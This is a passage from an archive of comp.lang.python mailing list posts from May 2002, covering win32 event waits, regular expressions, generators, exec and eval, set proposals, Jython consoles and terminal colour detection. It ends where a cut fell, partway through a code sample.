Subject: return code from win32event.WaitForMultipleObjects() References: <59e5b87.0205200946.6b78a36e@posting.google.com> Message-ID: <3CE9EFE1.7040706@skippinet.com.au> Miranda Evans wrote: > I do not understand why win32event.WaitForMultipleObjects is returning > the values that it is returning in this example. > > Using one of the events from testMSOfficeEvents.py as the basis for > this > test, I created test_demo.py. Using python 2.2; O/S is Windows 2000; > using PythonWin. > > contents of test_demo.py are: This doesn't work as shown: > rc = win32event.WaitForMultipleObjects((g.event,), > 0, 1000, win32event.QS_ALLEVENTS) This should be MsgWaitForMultipleObjects. > Since the message 'double click happened' appears, I'm assuming that > the code in the OnSheetBeforeDoubleClick() method got executed, and > I'm assuming that the following statement in the > OnSheetBeforeDoubleClick() method: > > win32event.SetEvent(self.event) > > got executed. This is a bad assumption :( Adding a print statement at the *end* of the method shows it is not reached. It turns out that there is a bug in the COM support, in that any exceptions in event handlers are silently eaten. If you add a: try: whatever.. except: traceback.print_exc() You will see that the specific exception is that "self.event" does not exist. This implies that self.__init__ was not called. Again, we have a COM support bug :( - __init__ for user classes was never called - I have fixed that here and will be in the next version. So, the work around is to specifically set "xl.event" in the mainline code. But, even then, it turns out we have a different problem again. Note the lines: g = xlEv() xl=win32com.client.DispatchWithEvents("Excel.Application", xlEv) *both* of these lines create an xlEv() class. Hence, "g" is one instance, but "xl" is another instance on which the actual events fire. Hence, g.event will never be set, but xl.event will. Below is a complete version that works: import time, win32event, win32com.client, pythoncom class xlEv: def OnSheetBeforeDoubleClick(self, sh, target, cancel): win32event.SetEvent(self.event) def demo(): xl=win32com.client.DispatchWithEvents("Excel.Application", xlEv) xl.event = win32event.CreateEvent(None, 0, 0, None) # work around xl.Visible=1 xl.Workbooks.Add() start_time = time.time() while 1: rc = win32event.MsgWaitForMultipleObjects((xl.event,), 0, 1000, win32event.QS_ALLEVENTS) if rc == win32event.WAIT_OBJECT_0: print 'event signalled' break elif rc == win32event.WAIT_OBJECT_0+1: pythoncom.PumpWaitingMessages() # check for timeout if time.time() - start_time > 15: print 'timed out' break demo() Mark. From jb at cascade-sys.com Fri May 3 19:16:35 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Fri, 03 May 2002 16:16:35 -0700 Subject: Zombie Threads (?) References: <3CD2BC50.FBAAE423@cascade-sys.com> <20020503164231.GC4604@devel.trillke> Message-ID: <3CD31A53.EB0EA70F@cascade-sys.com> holger krekel wrote: > you might be interested that the double-fork thing can be done > in python (on unix only i think): Thank you. I know. Question was if something similar was necessary or would be effective for Threads, on Linux. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From sigurd at 12move.de Wed May 8 15:32:47 2002 From: sigurd at 12move.de (Karl =?iso-8859-1?q?Pfl=E4sterer?=) Date: Wed, 08 May 2002 21:32:47 +0200 Subject: Comments References: Message-ID: On Wed, 8 May 2002, Thomas Heller <- theller at python.net wrote: >> By the way, in emacs with python mode, you can select a region and >> comment/uncomment it. Commenting a block simply prepends ## to each >> line in the block. Nifty! > I know about comment-region, but how do I uncomment? (describe-function 'comment-region) <- place cursor here and hit C-x C-e ,----[ C-h f comment-region RET ] | (comment-region START END &optional ARG) | | Documentation: | Comment or uncomment each line in the region. | With just C-u prefix arg, uncomment each line in region. | Numeric prefix arg ARG means use ARG comment characters. | If ARG is negative, delete that many comment characters instead. | Comments are terminated on each line, even for syntax in which newline does | not end the comment. Blank lines do not get comments. `---- bye KP -- Der wahre Weltuntergang ist die Vernichtung des Geistes, der andere h?ngt von dem gleichgiltigen Versuch ab, ob nach der Vernichtung des Geistes noch eine Welt bestehen kann. Karl Kraus 'Untergang der Welt durch schwarze Magie' From cliechti at gmx.net Sat May 25 17:22:47 2002 From: cliechti at gmx.net (Chris Liechti) Date: 25 May 2002 23:22:47 +0200 Subject: String problem References: <20020526.064829.1504569917.16939@iprimus.com.au> Message-ID: "Occean" wrote in news:20020526.064829.1504569917.16939 at iprimus.com.au: > Assume that you have an text article. > "Paint my love, you should paint my love > It's a picture of thousand sunset > > It's a freedom of , a thousand doves > ......" > > you have to read the article into a > string called str and use that string to pass into the function called > display(str). This function will display the exact content of the > article back into the screen. The problem is when you read the article > in the string you have to put "\n\" at the end of each line in order > to let the system know the new line. For example: > str = ' Paint my love, you should paint my love\n\ "str" is a builtin function, i would choose an other name for the variable :-) > It's a picture of thousand sunset \n\ > \n\ > It's a freedom of , a thousand doves\n\' > > I Just wondering are there another to do that without insert "\n\" > into the end of each line. use triple quotes an the newlines in the string stay in: s = """this is a long string""" chris -- Chris From starx at pacbell.net Thu May 9 00:52:32 2002 From: starx at pacbell.net (Philip Swartzleonard) Date: 9 May 2002 04:52:32 GMT Subject: [Survey] Py Feedback References: <3cd9a9d9.196458672@news.newsguy.com> <21jC8.608$p77.66883@news.xtra.co.nz> Message-ID: Matthew Sherborne || Wed 08 May 2002 05:03:10p: > I'd like to see a nice glossy python magazine like the "Delphi > Informant" in the book stores. Put the contents and a couple of > articles in PDF on the web. Hmm... the magazine should of course be named 'Oracale at/of Delphi', but that would confuse too many people. Anyay, i did think the only downside was that it was kind of thin... but i figured it would get 50%-116% bigger within a year as it becomes established (even if you intend to keep it small and newsletterish). -- Philip Sw "Starweaver" [rasx] :: www.rubydragon.com From shalehperry at attbi.com Sat May 18 13:46:19 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Sat, 18 May 2002 10:46:19 -0700 (PDT) Subject: regular expression In-Reply-To: <20020519023416.6f02ff3f.bkesuma@REMOVECAPITALS.yahoo.com> Message-ID: On 18-May-2002 Batara Kesuma wrote: > Hi, > > I tried to look at the docs, but couldn't get it. > > How can I compile the regex rule, and match a list? I want to print out > only list that contains 6 digits in it. > > --- start --- > > import re > list = ['123456', '234567', '123', 'abc', '1234567'] > > for x in list: > rule = re.compile(\d{6,6}) // here I don't know... > if rule.match(x): > print x > > --- end --- > you are very close to what you need. rule = re.compile(r'^\d{6}$') # ^ means start of string, then \d{6} is 6 numbers # then $ is end of string. for x in list: # btw, naming a list 'list' is a bad idea if rule.match(x): print x or good = filter(rule.match, list) for x in good: print x From loewis at informatik.hu-berlin.de Wed May 8 09:55:12 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 08 May 2002 15:55:12 +0200 Subject: Multibyte Character Surport for Python References: Message-ID: python at dohao.org (Wenshan Du) writes: > Iike Python, but it is not very good at doing with multibyte > character. So, I rebuilt the pythoncore source code ,make a patch for > Python 2.2.1. Now, you can name you variables, class or function with > multibyte character, like Chinese, Kerea or Japanese etc. Python will > not displasy messages like "\xc4\xe3\xba\xc3" when you print a string > with multibyte character or search a database like ACCESS with mxODBC. > I name it Multi Byte Character Surport Patch(MBCSP). Now I like Python > better. Enjoy ! So far, it appeared that there is wide agreement that identifiers in Python should be ASCII only. Do you disagree, i.e. do you *really* want to use non-ASCII identifiers? Allowing non-ASCII in strings is a different issue - work is in progress to support that. Regards, Martin From phd at phd.pp.ru Sun May 12 15:14:33 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Sun, 12 May 2002 23:14:33 +0400 Subject: OT: Crazy Programming In-Reply-To: <87offlnq3k.fsf@mathdogs.com>; from mkc+dated+1023822045.28c649@mathdogs.com on Sun, May 12, 2002 at 02:06:07PM -0500 References: <87offlnq3k.fsf@mathdogs.com> Message-ID: <20020512231433.A19680@phd.pp.ru> On Sun, May 12, 2002 at 02:06:07PM -0500, Mike Coleman wrote: > Oleg Broytmann writes: > > I'd better see a contest for "Python elegance", but unfortunately > > "elegance" is hard (though not impossible) to measure. > > As you say, if you want to measure elegance, you'd probably need to judge it > or vote on it. Yes, this is the only way. Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From pinard at iro.umontreal.ca Fri May 31 09:00:29 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 31 May 2002 09:00:29 -0400 Subject: Avoiding `exec', how to? [and why usie it in the first place?] In-Reply-To: References: Message-ID: [Steve Holden] > > The goal here is to initialise one global variable per item in DEFS, > > preserving the item name and value in each. > I was hoping we might see some discussion of *why* you want to do this. Oh! I was merging two modules into this one which is widely imported in many projects here, and which contains site and machine parameters. These modules are related intimately enough to be worth merging. Doing this merging, I decided to re-organise and clean the resulting code. Common usage for the original `defs' already is, a bit everywhere: from Local import defs ... if defs.PARAMETER == VALUE: ... Originally, various PARAMETER were globals within `defs'. For being cleaner in `defs', I concentrated its original contents into a class able to initialise as class members everything that formerly was a global, with the intent of exposing the class attributes as globals as the last step in module initialisation. The goal is to leave all projects' code alone. -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From shredwheat at attbi.com Thu May 9 11:10:36 2002 From: shredwheat at attbi.com (Pete Shinners) Date: Thu, 09 May 2002 15:10:36 GMT Subject: Simple question about how the optimizer works References: <3cda42ef_1@goliath2.newsgroups.com> Message-ID: <3CDA9139.1020708@attbi.com> jb wrote: > print g(f(x),f(x)) > print h(f(x),f(x)) how can it be called less than 4 times? def f(x): random.seed(x) return random.random() From ykingma at accessforall.nl Thu May 23 17:01:40 2002 From: ykingma at accessforall.nl (Ype Kingma) Date: Thu, 23 May 2002 22:01:40 +0100 Subject: A Jython question References: <3ced0087$0$21593$7a628cd7@news.club-internet.fr> Message-ID: <3CED58AC.79427441@accessforall.nl> Matias GUIJARRO wrote: > > Hello ! :-) > > I'm relatively new to Python, and I'm seduced by the possibilities of adding > a Python scripting engine in my Java app, so I tried Jython a few days ago. > > I'd like to have a Jython interpreter "textbox" in the GUI of my Java app ; > for the moment the only thing I managed to do is having a terminal window > with a Jython interpreter while my app is running. > I couldn't find much help in the Jython documentation, nor tutorials on the > web, > so I hope some of the Python gurus here will be able to help me ! Have a look at the Console.py file in the swing demo directory of your jython installation. It is a somewhat basic jython command line interpreter running in swing. Add your application's jar to the class path or python path and you should be able to call your java application from this jython console. > Thanks in advance, > Matias GUIJARRO. Have fun, Ype -- email at xs4all.nl From peter at engcorp.com Sat May 25 10:23:33 2002 From: peter at engcorp.com (Peter Hansen) Date: Sat, 25 May 2002 10:23:33 -0400 Subject: Windows python 2.2.1 IDLE glitch - unittest output display nothing References: <13dc97b8.0205250552.4bb86b8c@posting.google.com> Message-ID: <3CEF9E65.E58FA7EF@engcorp.com> Andy Bulka wrote: > > When running a script using CTRL-F5 under IDLE under windows 2000, > python 2.2.1 I find that unittests run but the resulting stderr output > does not appear at all? Can't help you with the problem itself, but maybe this would be an adequate (if temporary) workaround: # redirect stderr to stdout for unittest output... must come before # the unittest import import sys sys.stderr = sys.stdout > import unittest, random > > class TestCase00(unittest.TestCase): > def checkA(self): > assert 1 > def checkB(self): > assert 0 From mwh at python.net Tue May 28 08:47:21 2002 From: mwh at python.net (Michael Hudson) Date: Tue, 28 May 2002 12:47:21 GMT Subject: eval vs. exec References: <3cf232b4@si-nic.hrz.uni-siegen.de> <3cf252f7@si-nic.hrz.uni-siegen.de> <3cf27f1e@si-nic.hrz.uni-siegen.de> Message-ID: Simon Budig writes: > Michael Hudson wrote: > > Hmm. Maybe compile as "single" but smash the last PRINT_EXPR into a > > RETURN_VALUE? Might work. You'd probably want to turn all but the > > last PRINT_EXPR into POP_TOPs too... > > > > Something like this? > [...] > >>>> super_eval("a = 2") > >>>> super_eval("3*4") > > 12 > >>>> super_eval("a = 2; b = 3; a*b") > > 6 > > Whow, this is impressive. Yes, this seems to work although this is > way beyond my python-scope :-) > > I am not sure if I want to do this or if the interception of > sys.stdout is a more - uhm - Simon-friendly solution... ;-) Here's another crack. It works much the same way as the last one, but is somewhat more sensible... from compiler.pycodegen import InteractiveCodeGenerator, \ AbstractCompileMode class SuperICG(InteractiveCodeGenerator): def visitDiscard(self, node): self.visit(node.expr) self.storeName('$ output') class SuperI(AbstractCompileMode): mode = "single" def compile(self): tree = self._get_tree() gen = SuperICG(tree) self.code = gen.getCode() def super_eval2(expr): gen = SuperI(expr, "") gen.compile() code = gen.code d = {} eval(code,d,d) return d.get('$ output') Just's solution is quite nice too. Cheers, M. -- In that case I suggest that to get the correct image you look at the screen from inside the monitor whilst standing on your head. -- James Bonfield, http://www.ioccc.org/2000/rince.hint From aleax at aleax.it Thu May 2 15:37:36 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 02 May 2002 19:37:36 GMT Subject: Newbie question: how to join a list of elements of user-defined types? References: <200204292311.57363.bhan@andrew.cmu.edu> <83k7qmqw6v.fsf@panacea.canonical.org> Message-ID: <4AgA8.90988$vF6.2719440@news2.tin.it> Kragen Sitaker wrote: ... > Apparently; class members and methods are a brand new addition in > Python 2.2. I think they are a major design error; they add no power > but significant complexity to the language, and they are clumsy to > use and bug-prone. "class members" (attributes of a class object) are definitely no "brand new addition" -- they've been around forever (most often, any method you call on an instance is an attribute of its class object or one of the latter's bases). class methods, as well as static methods, are indeed new, and I won't argue for them (I'm still waiting for the Smalltalkers who clamored so hard for them to explain to me what makes them so much better than ordinary factory functions -- I haven't understood yet, despite a couple of attempts). The complexity that staticmethod adds to the language is no more than would be added by defining its 2.1 equivalent, of course: class staticmethod: def __init__(self, callable): self.__call__=callable So, the complexity can't really be much (about on a par with the rather modest usefulness). I suspect that's not one of the issues you're addressing, but it's hard to say given that "class members" mystery. Alex From aleax at aleax.it Thu May 2 02:27:57 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 2 May 2002 08:27:57 +0200 Subject: Newbie: finding the key/index of the min/max element In-Reply-To: <3CD0BF2D.3F6FADA9@cascade-sys.com> References: <200204302300.g3UN0kkG002462@ratthing-b246.strakt.com> <3CD0BF2D.3F6FADA9@cascade-sys.com> Message-ID: <02050208275702.28570@arthur> On Thursday 02 May 2002 06:23, James J. Besemer wrote: > Alex Martelli wrote: > > Actually, _I_ wouldn't mind it if there was a way to discourage people > > from starting Yet Another Round of language-change proposals or whines > > and complaints against some aspect of the language they have not > > carefully considered. > > It strikes me as somewhat arbitrary that "newbie" questions or comments > about language features are so irritating while answering newbie > questions over and over about how to split a text line into fields (or to > measure performance) is not. > IMHO, they both seem legitimate questions. As I said quite clearly, I do consider all _questions_ legitimate. How exactly some language feature works, how come something works that way. The "how" is clearly important to know, and understanding the "why" helps a lot in using the language well. Complaining and proposing changes without understanding is what irks _me_, personally (first person singular: note in the above-quoted paragraph how I emphasized this as my own, individual opinion). It may well be (in the abstract) that somebody else is bored to death of helping people use Python effectively but looking forwards to a renewed debate pro or con (e.g.) switch statements, repeat/until loops, goto statements, ternary operators, assignment-in-expressions, variable declarations, and so on, and so forth. I have my doubts, but I cannot rule it out. > For the record, I did not initiate any of these language extension > topics. I only joined in after someone else put them into play. For the record, my personal distaste is for complaining and proposing changes (outside of the recognized PEP process), not for initiating a thread by asking about the how or why of any feature or lack thereof. > A traditional solution for this would be for someone to write and > maintain a FAQ for the list. By tradition, list FAQs can prominently > feature a list of arbitrary topics that are strictly off limits. New > members can be pointed to the FAQ and people who willfully disregard the > FAQ can be dealt with. http://www.python.org/doc/FAQ.html does a decent job, IMHO -- e.g., see http://www.python.org/doc/FAQ.html#4.16 -- but it's about Python itself, not about this newsgroup/mailing-list. There is no "arbitrary topic that is strictly off limits" AFAIK (except of course the PSU, which fortunately doesn't exist). Maybe FAQs 2.5-2.7 could do a better job of spelling out that PEPs are THE way to propose changes to Python and that the PEP archive lists many proposals that were already made and rejected (including reasons for rejection -- alas, those aren't often optimally expressed). > Finally, there's the issue of once taboo topics that become language > features. If "bool" had been listed as a taboo topic perhaps the > corresponding PEP would never have been written (for better or worse, That was a PEP by GvR himself, Python's BDFL, so I find it mildly amusing to suppose he might let something as trivial as a FAQ inhibit his creative instincts. Alex From sholden at holdenweb.com Thu May 30 11:01:03 2002 From: sholden at holdenweb.com (Steve Holden) Date: Thu, 30 May 2002 11:01:03 -0400 Subject: Why no open(f, "w").write()? References: <7iadqi9wt2.fsf@enark.csis.hku.hk> Message-ID: "Grant Edwards" wrote ... > In article <7iadqi9wt2.fsf at enark.csis.hku.hk>, Isaac To wrote: > >>>>>> "Grant" == Grant Edwards writes: > > > > >> The question is: When does the file get closed? > > > > Grant> Sometime before the program exits. > > > > Wrong. Sometime when the garbage collector is executed, or never if the > > garbage collector never choose to collect that. > > I know of no OS that doesn't close the file when the process > terminates. > So we're supposed to rely on your ignorance in making implementation decisions now? regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From usenet at horvath.com Sun May 12 01:03:54 2002 From: usenet at horvath.com (Bob Horvath) Date: Sun, 12 May 2002 00:03:54 -0500 Subject: grokking generators and iterators References: <3CDCAEDC.2030103@horvath.com> <3CDCB6AF.8030903@horvath.com> Message-ID: <3CDDF7BA.9050808@horvath.com> Alex Martelli wrote: > Bob Horvath wrote: > ... > >>>def fiveatatime(L): >>> L = iter(L) >>> while 1: >>> yield (L.next(),L.next(),L.next(),L.next(),L.next()) >>> >>>then call fiveatatime(file) >>> >>>This will group each five line chunk into a tuple of five strings. >>>It will throw away lines at the end that are not a multiple of five -- >>>you need to specify more carefully what to do if that is a problem. >> >>That will indeed work, I think, but I am not sure I understand the end >>condition. What happens when you "next()" off of the end? I was >>expectin an exception, but it seems to get swallowed. > > > You do get an exception, StopIteration, and the for statement uses > that as the indication that iteration is finished. This is how any > iterator indicates the end of the iteration, part and parcel of the > iterator protocol. > Well, didn't know which one of these many helpful posts to reply to. Thanks to all, very enlightening. Your responses have already given me ideas on how to finish off the rest of the problem. I left out some of the nasty details as to why it is 5 line chunks. Mainly because it was delimited with optional pieces until a new mandatory element came along, and a new line was created. The "less than 5" soltions helped quite a bit in dealing with the "how many delimiters are there" problem to which I hadn't even asked for a solution. While I have been teaching myself python for many interations (self classes, both old and new, with the length of time not mattering how long), I feel like I am part of a new generation of pythonistas, no matter how you divide it. Bob From tim.one at comcast.net Sat May 4 01:53:28 2002 From: tim.one at comcast.net (Tim Peters) Date: Sat, 04 May 2002 01:53:28 -0400 Subject: module random: delay in "seeding" In-Reply-To: Message-ID: [Roman Suzi] > I've noticed the following: > > >>> import random > >>> random.seed(123) > >>> print random.gauss(12,12) > 7.46167701922 > >>> random.seed(123) > >>> print random.gauss(12,12) > -6.54391487521 > >>> random.seed(123) > >>> print random.gauss(12,12) > 7.46167701922 > >>> random.seed(123) > >>> print random.gauss(12,12) > -6.54391487521 > > While it is quite understandable that normally distributed numbers > come in pairs, but I thought seed() resets the state of random module... > I think this sometimes can cause errors. I agree, but it's one of those things that can't be changed without risking breaking code relying on the broken behavior (which has been broken forever). If you get unanimous agreement from all the usual c.l.py suspects that they won't piss and moan if I fix it, I will. While I'm holding my breath , you can fix it in your copy of a recent random.py by adding self.gauss_next = None to the end of Random.seed. From loewis at informatik.hu-berlin.de Sat May 11 03:21:31 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 11 May 2002 09:21:31 +0200 Subject: Multibyte Character Surport for Python References: Message-ID: "John Roth" writes: > The trouble is that while almost all of the languages used in the > Americas, Australia and Western Europe are based on > the Latin alphabet, that isn't true in the rest of the world, and > even then, it gets uncomfortable if your particular language's > diacritical marks aren't supported. You can't do really good, > descriptive names. I personally can live without the diacritical marks in program source code, except when it comes to spelling my name - and I usually put this into strings and comments only. I'm fully aware that many people in this world write their languages without latin letters. I still doubt that this is an obstacle when writing software. > 1. In Python 3.0, the input character set is unicode - either UTF-16 > or UTF-8 (I'm not prepared to make a solid arguement one way or the > other at this time.) Actually, PEP 263 gives a much wider choice; consider this aspect solved. > 2. All identifiers MUST be expressed in the character set of > a single language (treating the various latin derived languages > as one for simplicity.) That doesn't mean that only one language > can be used for a module, only that a particular identifer must make > lexical sense in a specific language. That sounds terrible. Are you sure you can implement this? For example, what about the Cyrillic-based languages? Are you also treating them as one for simplicity? Can you produce a complete list of languages, and for each one, a complete list of characters? > 3. There must be a complete set of syntax words in each > supported language. That is, words such as 'and', 'or', 'if', 'else' > All such syntax words in a particular module must come from the > same language. That is even more terrible. So far, nobody has proposed to translate Python keywords. How are you going to implement that: i.e. can you produce a list of keywords for each language? How would I spell 'def' in German? Regards, Martin From aahz at pythoncraft.com Thu May 9 18:12:25 2002 From: aahz at pythoncraft.com (Aahz) Date: 9 May 2002 18:12:25 -0400 Subject: Python stagnating? References: Message-ID: In article , Steve Holden wrote: >"Aahz" wrote ... >> In article , >> Chris wrote: >>> >>>What is the status of Python development? Or the supporting >>>organization? I notice a lot of links in the FAQ and other documents >>>are outdated/broken, and surfing the web I saw a lot of references to >>>the "Python Starship" but it looks like it hasn't been updated in a >>>few years... >> >> If you're referring to broken links on python.org, please send e-mail to >> webmaster at python.org. Starship has been somewhat stagnant for a while, >> but there's been some recent discussion about reviving it. >> >> Python development, of course, is anything but stagnant, as any number >> of threads complaining about too much change would tell you. ;-) > >I'm just running webchecker on www.python.org, and it does appear that there >are a number of broken links. Should I send the output to webmaster? Sure! You wanna be really helpful, set up a cron job to automatically do this once per month. ;-) -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "usenet imitates usenet" --Darkhawk From webmaster at agentland.com Tue May 28 09:21:26 2002 From: webmaster at agentland.com (webmaster at agentland.com) Date: Tue, 28 May 2002 09:21:26 -0400 Subject: AgentLand, your guide to intelligent agents / AgentLand, votre guide sur les agents intelligents Message-ID: <200205281321.g4SDLQn28600@linux10609.dn.net> An HTML attachment was scrubbed... URL: From rnd at onego.ru Thu May 16 13:46:59 2002 From: rnd at onego.ru (Roman Suzi) Date: Thu, 16 May 2002 21:46:59 +0400 (MSD) Subject: PEP 218 Re: ANN: set-0.1 module available In-Reply-To: Message-ID: On Thu, 16 May 2002, Denis S. Otkidach wrote: >On Thu, 16 May 2002, Roman Suzi wrote: > >RS> >It's listed as deferred (and its not mentioned in Guido's >RS> PEP >RS> >parade). >RS> >Maybe it needs a new champion? >RS> >RS> Hmmm... What do you mean? Set functionality is being asked >RS> every day >RS> (for example, sorted list vs. dictionary thread). >RS> Implementation >RS> (as I understand) is there. Why does Guido have any >RS> objections? > >There are still unresolved issues. >E.g. should set object be hashable? Yes, I know this discussion. Math is dealing with abstract objects while programming language is a model, which must take efficiency vs. flexibility into account. In Pascal set type was implemented for limited types of elements (IIRC) and thus lacked flexibility. It's not Pythonic way. So, probably Python will implement more flexible, universal sets? (for example, using hashes when possible or falling back to other schemes when impossible). But in the current state of affairs lists and dicts are used to implenet sets, which is probably not always nice. >Somebody wish sets of sets or set as dict key that >require set to be hashable. Solution in kjSet is certanly bad, >look at the example below: > ># s is set and d is dictionary >if d.has_key(s): > # do smth. >else: > # modify s -- this will raise exception >Here s _is not_ in dictionary but nevertheless is frozen. This >will confuse users that know nothing about set _implementation_. >Taking into account that very most users don't know about hashing >at all, such implementation is suitable only for third party >modules but not for Python builtin type. While object identity holds, its the same object. Sincerely yours, Roman Suzi -- \_ Russia \_ Karelia \_ Petrozavodsk \_ rnd at onego.ru \_ \_ Thursday, May 16, 2002 \_ Powered by Linux RedHat 7.2 \_ \_ "Can't learn to do something well? Learn to enjoy doing it badly!" \_ From whisper at oz.net Fri May 10 16:40:49 2002 From: whisper at oz.net (David LeBlanc) Date: Fri, 10 May 2002 13:40:49 -0700 Subject: Which GUI Library to Use In-Reply-To: <02051022153205.01597@arthur> Message-ID: Has anyone mentioned FLTK or Fox as Python GUI's of interest? David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Alex Martelli > Sent: Friday, May 10, 2002 13:16 > To: Fran?ois Pinard > Cc: python-list at python.org > Subject: Re: Which GUI Library to Use > > > On Friday 10 May 2002 20:57, Fran?ois Pinard wrote: > > [Alex Martelli] > > > > > IMHO, unless you have problems with the licenses or funding issues, > > > Qt is a good choice. [...] Tkinter is OK [...] wxPython was OK [...] > > > > No opinion on `pygtk'? :-) > > Never used it, so, no experience, and no interest in remedying that > in the foreseeable future. > > > Alex > > > -- > http://mail.python.org/mailman/listinfo/python-list From sholden at holdenweb.com Sat May 4 16:52:19 2002 From: sholden at holdenweb.com (Steve Holden) Date: Sat, 4 May 2002 16:52:19 -0400 Subject: problems when trying to run Gnuplot.py (Gnuplot-1.5) under Python 2.2.1 References: Message-ID: "Markus Faust" wrote ... > Hi, > > I'm encountering problems when trying to run Gnuplot.py (Gnuplot-1.5) under > Python 2.2.1 on a Windows NT 4.0 system. What could be wrong? > > Error message: > >python demo.py > demo.py:40: SyntaxWarning: import * only allowed at module level > def demo(): > Traceback (most recent call last): > File "demo.py", line 36, in ? > import funcutils > File "funcutils.py", line 29, in ? > import Gnuplot, utils > ImportError: No module named Gnuplot > > system: > Python 2.2.1 (#34, Apr 9 2002, 19:34:33) [MSC 32 bit (Intel)] on win32 > Type "help", "copyright", "credits" or "license" for more information. > > G N U P L O T > MS-Windows 32 bit version 3.7 > patchlevel 1 > last modified Fri Oct 22 18:00:00 BST 1999 > The most likely problem is that Gnuplot.py isn't in one of the directories on sys.path. regards Steve -- Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ From gcordova at hebmex.com Fri May 24 13:07:38 2002 From: gcordova at hebmex.com (Gustavo Cordova) Date: Fri, 24 May 2002 12:07:38 -0500 Subject: Grabbing data from my motherboard thermistor? Message-ID: > > Is it possible using Python to grab the temperature from the > cpu thermistor > on my motherboard? What module would i use/hunt for? If poss > i wanna code a > heat monitor. > > --g > You need a device driver to read the data from the thermistor; that driver must make that information available to userland programs; which in turn should be able to read the info from some kind of device file or pseudo-file (like unix's "/dev/*" files) Also, with more information, better help would be available: What OS? What Motherboard brand and model? etc tc... -gus From johnroth at ameritech.net Wed May 1 07:05:12 2002 From: johnroth at ameritech.net (John Roth) Date: Wed, 1 May 2002 07:05:12 -0400 Subject: Comment on Draft Pep ver 4 -- Psuedo Deprecations of Builtins References: Message-ID: "Huaiyu Zhu" wrote in message news:slrnacuf2d.9l1.huaiyu at gauss.almadan.ibm.com... > John Roth wrote: > >I strongly disagree about apply(). The only use I've found for it > >varies the function which it calls, not the parameter lists! Having > >variable parameter lists doesn't hack it - I need the variable > >function. > > >>> from math import * > >>> a = (2.3,) > >>> for f in [sin, cos, sqrt]: print apply(f, a) > ... > 0.745705212177 > -0.66627602128 > 1.51657508881 > >>> for f in [sin, cos, sqrt]: print f(*a) > ... > 0.745705212177 > -0.66627602128 > 1.51657508881 > > Huaiyu Good example. Thanks. John Roth From sholden at holdenweb.com Mon May 6 17:34:23 2002 From: sholden at holdenweb.com (Steve Holden) Date: Mon, 6 May 2002 17:34:23 -0400 Subject: XML: minidom toxml() does not work for non English files! :-( References: Message-ID: Erm, see below ... "Steve Holden" wrote in message news:zGCB8.68290$v92.58938 at atlpnn01.usenetserver.com... > Well, at the start of the __init__ we see: > > self.buf = str(buf) > self.len = len(buf) > > This is clearly wrong, and the second line should be > > self.len = len(buf) ################################# This line should after the patch, of course, read self.len = len(self.buf) so the code picks up the length of the string that the input has been converted to. regards Steve -- Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ From whisper at oz.net Mon May 20 18:12:00 2002 From: whisper at oz.net (David LeBlanc) Date: Mon, 20 May 2002 15:12:00 -0700 Subject: Parsing a text file for information In-Reply-To: Message-ID: How about the http://py-howto.sourceforge.net/regex/regex.html how to? David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Colin Meeks > Sent: Saturday, May 18, 2002 22:49 > To: python-list at python.org > Subject: Re: Parsing a text file for information > > > Thanks all, worked a treat. I don't suppose someone knows of a handy > reference that > includes a stack of samples for real programming problems. i.e. extracting > URLS > from a document, removing duplicate lines, removing comments from source > code, > etc. that kind of thing. I think if I had such a reference it would be a > lot easier to come > to grips with regular expressions. > > Regards > > Colin > > > "Colin Meeks" wrote in message > news:WGCF8.35045$ah_.5711 at news01.bloor.is.net.cable.rogers.com... > > I have a text file that is several magabytes in size and would like to > > strip it of certain information. The information I want is always > > preceeded by > > GETTEXT= > > and is in itself 18 characters long. Is there a regular expression I > > could use to simplify the task. > > > > Thanks in advance > > > > Colin > > > > > > --- > > Outgoing mail is certified Virus Free. > > Checked by AVG anti-virus system (http://www.grisoft.com). > > Version: 6.0.362 / Virus Database: 199 - Release Date: 07/05/2002 > > > > > > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.362 / Virus Database: 199 - Release Date: 07/05/2002 > > > -- > http://mail.python.org/mailman/listinfo/python-list From cookedm+news at physics.mcmaster.ca Tue May 21 14:47:42 2002 From: cookedm+news at physics.mcmaster.ca (David M. Cooke) Date: Tue, 21 May 2002 14:47:42 -0400 Subject: ANSI colored output: How to determine how python was called? References: Message-ID: At some point, Pearu Peterson wrote: >> [Donn Cave] >> >> > Quoth Pearu Peterson : >> >> > | Are there alternative (hopefully better) ways to decide whether the >> > | output "device" of python stdout supports ANSI colored text or not? >> >> The normal way to check for colour terminal support is through terminal >> info capabilities (terminfo). Check for `op', 'AF', `AB', `Sf', `Sb', >> 'Co', `pa' and `NC' capabilities, in particular. I forgot details as of >> now, but remember I had to fight a bit to get everything right. > > Thanks for the hint. > > I now discovered the Python curses module. It seems that > > sys.stdout.isatty() and curses.wrapper(lambda s:curses.has_colors()) > > gives a reliable answer for if the terminal supports colors or not. > However, when using it, the screen "blinks" (the terminal is blanked > and then its contents is restored) as curses.wrapper(..) initializes and > deinitializes the ncurses library. I have not found yet if this > "blink" could be avoided. I think what you want is something like: def term_has_colours(): if not sys.stdout.isatty(): return 0 